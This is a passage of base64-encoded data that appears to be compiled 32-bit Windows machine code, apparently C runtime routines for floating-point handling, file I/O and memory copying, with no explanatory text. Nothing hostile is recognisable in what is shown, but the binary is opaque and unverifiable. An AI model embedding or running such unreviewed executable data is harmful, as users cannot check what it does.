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3Rwkm912COjpBwAAg8QU3WYI3QaDxHRehcB0BenQAQAAw8zMzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7rgIEENnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQ/yOAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u64CBBDZ5YmVbP///5vdvWD////GhXD///8A2cmKjWH////Z5ZvdvWD////ZyYqtYf///9Dl0P3QxYrFJA/XiuDQ4dD50MGKwSQP19Dk0OQKxA++wIHhBAQAAIvaA9iDwxD/I+jOAAAA2cnd2MPoxAAAAOv23djd2Nnuw93Y3djZ7oTtdALZ4MPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////AMPGhXD///8A3AWeAgQQw9nJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////Ad7Bw93Y3djbLYACBBCAvXD///8AfwfGhXD///8BCsnD3djd2NstlAIEEArtdALZ4ArJdAjdBaYCBBDeycMKyXQC2eDDzMzMzMzMzMzMzMzM2cDZ/Nzh2cnZ4Nnw2ejewdn93dnDi1QkBIHiAAMAAIPKf2aJVCQG2WwkBsOpAAAIAHQGuAAAAADD3AXAAgQQuAAAAADDi0IEJQAA8H89AADwf3QD3QLDi0IEg+wKDQAA/3+JRCQGi0IEiwoPpMgLweELiUQkBIkMJNssJIPECqkAAAAAi0IEw4tEJAglAADwfz0AAPB/dAHDi0QkCMNmgTwkfwJ0A9ksJFrDZosEJGY9fwJ0HmaD4CB0FZvf4GaD4CB0DLgIAAAA6NkAAABaw9ksJFrDg+wI3RQki0QkBIPECCUAAPB/6xSD7AjdFCSLRCQEg8QIJQAA8H90PT0AAPB/dF9miwQkZj1/AnQqZoPgIHUhm9/gZoPgIHQYuAgAAACD+h10B+h7AAAAWsPoXQAAAFrD2SwkWsPdBewCBBDZydn93dnZwNnh3B3cAgQQm9/gnrgEAAAA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